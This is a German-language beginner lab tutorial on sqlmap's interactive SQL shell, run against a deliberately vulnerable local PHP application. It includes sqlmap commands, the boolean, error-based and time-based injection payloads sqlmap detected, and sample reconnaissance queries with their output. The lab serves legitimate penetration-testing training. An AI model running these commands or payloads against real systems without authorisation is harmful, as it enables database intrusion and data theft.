Die interaktive SQL-Shell in sqlmap verwenden

Kali LinuxBeginner
Jetzt üben

Einleitung

In diesem Lab erkunden Sie eine der mächtigsten Funktionen von sqlmap: die interaktive SQL-Shell. sqlmap ist ein Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert und die Übernahme von Datenbankservern ermöglicht.

Während sqlmap die Datenextraktion automatisieren kann, bietet die Option --sql-shell direkten, interaktiven Zugriff auf die Backend-Datenbank. Dies ermöglicht Ihnen die Ausführung benutzerdefinierter SQL-Abfragen, was Ihnen während eines Penetrationstests mehr Flexibilität und Kontrolle gibt. Sie lernen, wie Sie eine Injection herstellen, die Shell starten und Befehle ausführen, um die Datenbank abzufragen.

Erfolgreiche Injection auf einem Ziel etablieren

In diesem Schritt verwenden Sie sqlmap, um eine Webanwendung zu scannen und zu bestätigen, dass sie anfällig für SQL-Injection ist. Unser Setup-Skript hat bereits eine einfache, anfällige PHP-Anwendung auf dem lokalen Apache-Server erstellt. Wir müssen sqlmap auf die Ziel-URL verweisen und es die anfängliche Analyse durchführen lassen.

Führen Sie zuerst den folgenden sqlmap-Befehl in Ihrem Terminal aus. Wir verwenden das Flag -u, um die Ziel-URL anzugeben, und --batch, um im nicht-interaktiven Modus zu laufen und alle Standardantworten zu akzeptieren.

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap wird eine Reihe von Tests durchführen. Warten Sie, bis es abgeschlossen ist. Die Ausgabe zeigt, dass der GET-Parameter id anfällig ist. Diese Bestätigung ist der notwendige erste Schritt, bevor wir mit der Ausnutzung fortfahren können.

Sie sollten eine Ausgabe sehen, die der folgenden ähnelt und die Anfälligkeit bestätigt:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] das Back-End DBMS ist MySQL
Betriebssystem des Webservers: Linux Ubuntu
Technologie der Webanwendung: Apache 2.4.52, PHP 8.1.2
Back-End DBMS: MySQL >= 5.0
[15:30:00] [INFO] abgerufene Daten werden in Textdateien unter '/home/labex/.local/share/sqlmap/output/127.0.0.1' protokolliert

Die interaktive SQL-Shell mit --sql-shell starten

In diesem Schritt verwenden Sie die Option --sql-shell, um eine interaktive SQL-Eingabeaufforderung auf der Ziel-Datenbank zu erhalten. Nachdem Sie den Injection-Punkt bestätigt haben, können Sie sqlmap anweisen, Ihnen direkten Zugriff zu gewähren.

Führen Sie denselben sqlmap-Befehl wie zuvor aus, aber ersetzen Sie diesmal die Option --batch durch --sql-shell.

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap wird die Injection erneut bestätigen und Ihnen dann eine spezielle Eingabeaufforderung präsentieren: sql-shell>. Dies zeigt an, dass Sie sich nun in einer interaktiven Sitzung mit der Backend-Datenbank befinden. Jede gültige SQL-Abfrage für das Ziel-DBMS (von dem wir wissen, dass es MySQL ist) kann von dieser Eingabeaufforderung aus ausgeführt werden.

Die Ausgabe wird wie folgt aussehen:

[15:35:00] [INFO] das Back-End DBMS ist MySQL
Betriebssystem des Webservers: Linux Ubuntu
Technologie der Webanwendung: Apache 2.4.52, PHP 8.1.2
Back-End DBMS: MySQL >= 5.0
[15:35:00] [INFO] rufe MySQL-Shell auf. Zum Beenden 'x' oder 'q' eingeben und ENTER drücken
sql-shell>

Eine benutzerdefinierte SQL-Abfrage wie SELECT @@version ausführen

In diesem Schritt führen Sie Ihren ersten Befehl in der interaktiven SQL-Shell aus. Dies demonstriert Ihre Fähigkeit, die Datenbank direkt abzufragen. Eine übliche erste Abfrage ist die Überprüfung der Datenbankversion.

Geben Sie an der Eingabeaufforderung sql-shell> die folgende SQL-Abfrage ein und drücken Sie Enter. Denken Sie daran, das Semikolon am Ende einzufügen.

SELECT @@version;

sqlmap nimmt Ihre Abfrage entgegen, injiziert sie in den anfälligen Parameter, sendet sie an den Server und gibt das Ergebnis an Sie zurück. Die Variable @@version in MySQL gibt einen String zurück, der die Version des Datenbankservers enthält.

Sie sehen die Datenbankversion direkt auf Ihrer Konsole ausgegeben:

sql-shell> SELECT @@version;
[15:40:01] [INFO] rufe MySQL-Version ab
[15:40:01] [INFO] abgerufen: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

Eine weitere benutzerdefinierte Abfrage wie SELECT user() ausführen

In diesem Schritt führen Sie eine weitere Abfrage aus, um die Datenbank weiter zu erkunden. Dies festigt das Konzept der interaktiven Steuerung. Lassen Sie uns herausfinden, welchen Datenbankbenutzer die Webanwendung für die Verbindung zur Datenbank verwendet.

Geben Sie an der Eingabeaufforderung sql-shell> die Abfrage SELECT user() ein und drücken Sie Enter.

SELECT user();

Dieser Befehl fordert die Datenbank auf, den Benutzernamen und den Host der aktuellen Sitzung zurückzugeben. Dies sind wertvolle Informationen, um die Berechtigungsstufe Ihrer Injection zu verstehen.

Die Ausgabe zeigt den Datenbankbenutzer an, den wir im Setup-Skript konfiguriert haben:

sql-shell> SELECT user();
[15:42:10] [INFO] rufe aktuellen Benutzer ab
[15:42:10] [INFO] abgerufen: labex@localhost
labex@localhost

Die interaktive SQL-Shell verlassen und zum Terminal zurückkehren

In diesem letzten Schritt lernen Sie, wie Sie die interaktive SQL-Shell ordnungsgemäß verlassen und zu Ihrer Standard-Terminal-Eingabeaufforderung zurückkehren.

Um die sql-shell> zu verlassen, geben Sie einfach exit oder quit ein und drücken Sie Enter.

exit

sqlmap schließt die Sitzung und gibt Sie in Ihr Zsh-Terminal im Verzeichnis ~/project zurück. Damit ist die interaktive Sitzung mit der Datenbank abgeschlossen.

Die Ausgabe bestätigt, dass die Sitzung beendet wird:

sql-shell> exit
[15:45:00] [INFO] beende
[15:45:00] [INFO] beendet um 15:45:00

[*] wird beendet...
labex@vnc-ubuntu:~/project$

Sie haben nun erfolgreich die interaktive Shell von sqlmap verwendet, um benutzerdefinierte Abfragen auszuführen, und sind zu Ihrer regulären Kommandozeile zurückgekehrt.

Zusammenfassung

In diesem Lab haben Sie erfolgreich eine der leistungsstärksten Funktionen von sqlmap, die interaktive SQL-Shell, kennengelernt.

Sie haben damit begonnen, eine SQL-Injection-Schwachstelle in einer Zielanwendung mithilfe eines einfachen sqlmap-Scans zu identifizieren. Anschließend haben Sie diese Schwachstelle genutzt, indem Sie eine interaktive Sitzung mit dem Flag --sql-shell gestartet haben. Innerhalb dieser Shell haben Sie benutzerdefinierte SQL-Abfragen wie SELECT @@version; und SELECT user(); ausgeführt, um die Datenbank direkt abzufragen und Informationen abzurufen. Schließlich haben Sie gelernt, wie Sie die Shell verlassen und zu Ihrem Terminal zurückkehren. Diese Fähigkeit ist für jeden Penetrationstester unerlässlich, der eine detaillierte Kontrolle über eine kompromittierte Datenbank benötigt.